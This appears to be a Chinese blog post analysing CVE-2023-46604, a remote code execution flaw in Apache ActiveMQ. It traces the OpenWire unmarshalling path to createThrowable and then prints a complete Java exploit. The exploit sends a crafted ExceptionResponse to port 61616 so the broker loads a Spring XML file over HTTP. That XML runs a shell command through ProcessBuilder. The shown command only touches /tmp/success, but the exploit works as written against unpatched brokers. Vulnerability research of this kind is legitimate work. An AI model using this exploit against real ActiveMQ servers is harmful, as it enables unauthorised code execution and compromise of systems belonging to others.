CVE-2023-46604 activemq<5.18.3 RCE 分析

影响范围
Apache ActiveMQ 5.18.0 < 5.18.3
Apache ActiveMQ 5.17.0 < 5.17.6
Apache ActiveMQ 5.16.0 < 5.16.7
Apache ActiveMQ < 5.15.16
参考

Apache ActiveMQ RCE 分析 - 先知社区 (aliyun.com)

CVE-2023-46604 activemq<5.18.3 RCE 分析 - KingBridge - 博客园 (cnblogs.com)

配置调试环境

在activemq官网下载一环境和源码。我的是在ubuntu上部署的环境

jdk11+

然后在bin/linux-x86-64/wrapper.conf中添加远程调试信息

wrapper.java.additional.14=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

然后在调试电脑用idea打开源码然后添加远程调式就行了。

分析

在最新版中,添加了一条限制

    public static void validateIsThrowable(Class<?> clazz) {
        if (!Throwable.class.isAssignableFrom(clazz)) {
            throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable");
        }
    }

限制加载的类只能是Throwable的子类

然后在BaseDataStreamMarshaller.java中调用了上面的限制函数

private Throwable createThrowable(String className, String message) {
        try {
            Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
            OpenWireUtil.validateIsThrowable(clazz);  //这个就是新版的增加的一处限制
            Constructor constructor = clazz.getConstructor(new Class[] {String.class});
            return (Throwable)constructor.newInstance(new Object[] {message});
        } catch (IllegalArgumentException e) {
            return e;
        } catch (Throwable e) {
            return new Throwable(className + ": " + message);
        }
    }

这个函数很明显了,就是传入一个className和一个String的参数,然后加载类,得到一个string类型的有参构造方法,然后调用。

然后根据参考别人的文章知道了序列化对象的处理首先进入的是

org.apache.activemq.openwire.OpenWireFormat#doUnmarshal


public Object doUnmarshal(DataInput dis) throws IOException {
        byte dataType = dis.readByte();
        if (dataType != NULL_TYPE) {
            DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
            if (dsm == null) {
                throw new IOException("Unknown data type: " + dataType);
            }
            Object data = dsm.createObject();
            if (this.tightEncodingEnabled) {
                BooleanStream bs = new BooleanStream();
                bs.unmarshal(dis);
                dsm.tightUnmarshal(this, data, dis, bs);
            } else {
                dsm.looseUnmarshal(this, data, dis);
            }
            return data;
        } else {
            return null;
        }
    }

逻辑比较简单,根据dataType的值从dataMarshallers中得到不同的类

后面的话就是通过不同的tightEncodeingEnabled进行不同处理

然后根据createThrowable调用查找,锁定了ExceptionResponseMarshaller

    public void tightUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn, BooleanStream bs) throws IOException {
        super.tightUnmarshal(wireFormat, o, dataIn, bs);

        ExceptionResponse info = (ExceptionResponse)o;
        info.setException((java.lang.Throwable) tightUnmarsalThrowable(wireFormat, dataIn, bs));

    }
    public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
        super.looseUnmarshal(wireFormat, o, dataIn);

        ExceptionResponse info = (ExceptionResponse)o;
        info.setException((java.lang.Throwable) looseUnmarsalThrowable(wireFormat, dataIn));

    }

所以调用逻辑就是

OpenWireFormat#doUnmarshal
->ExceptionResponseMarshaller#tightUnmarshal/looseUnmarshal
->BaseDataStreamMarshaller#tightUnmarsalThrowable/looseUnmarsalThrowable
->BaseDataStreamMarshaller#createThrowable

所以现在就是想办法实现这个调用。

根据大佬的参考文章,看到一个个手搓报文,挺简单的。不用自己利用activemq构造数据

package org.example;

import javax.xml.crypto.Data;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;

public class ScratchExploit {
    public static void main(String[] args) throws IOException {
        Socket socket = new Socket("127.0.0.1", 61616);
        OutputStream os = socket.getOutputStream();
        DataOutputStream dos = new DataOutputStream(os);
        dos.writeInt(0);// size
        dos.writeByte(31);// type
        dos.writeInt(0);// CommandId
        dos.writeBoolean(false);// Command response required
        dos.writeInt(0);// CorrelationId

        // body
        dos.writeBoolean(true);
        // UTF
        dos.writeBoolean(true);
        dos.writeUTF("clazz");
        dos.writeBoolean(true);
        dos.writeUTF("string");

        dos.close();
        os.close();
        socket.close();
    }
}

具体的payload就是

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>touch</value>
        <value>/tmp/success</value>
      </list>
    </constructor-arg>
  </bean>
</beans>
package org.example;

import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;

public class ScratchExploit {
    public static void main(String[] args) throws IOException {
        Socket socket = new Socket("192.168.133.128", 61616);
        OutputStream os = socket.getOutputStream();
        DataOutputStream dos = new DataOutputStream(os);
        dos.writeInt(0);// size
        dos.writeByte(31);// type
        dos.writeInt(0);// CommandId
        dos.writeBoolean(false);// Command response required
        dos.writeInt(0);// CorrelationId

        // body
        dos.writeBoolean(true);
        // UTF
        dos.writeBoolean(true);
        dos.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
        dos.writeBoolean(true);
        dos.writeUTF("http://127.0.0.1:8000/a.xml");

        dos.close();
        os.close();
        socket.close();
    }
}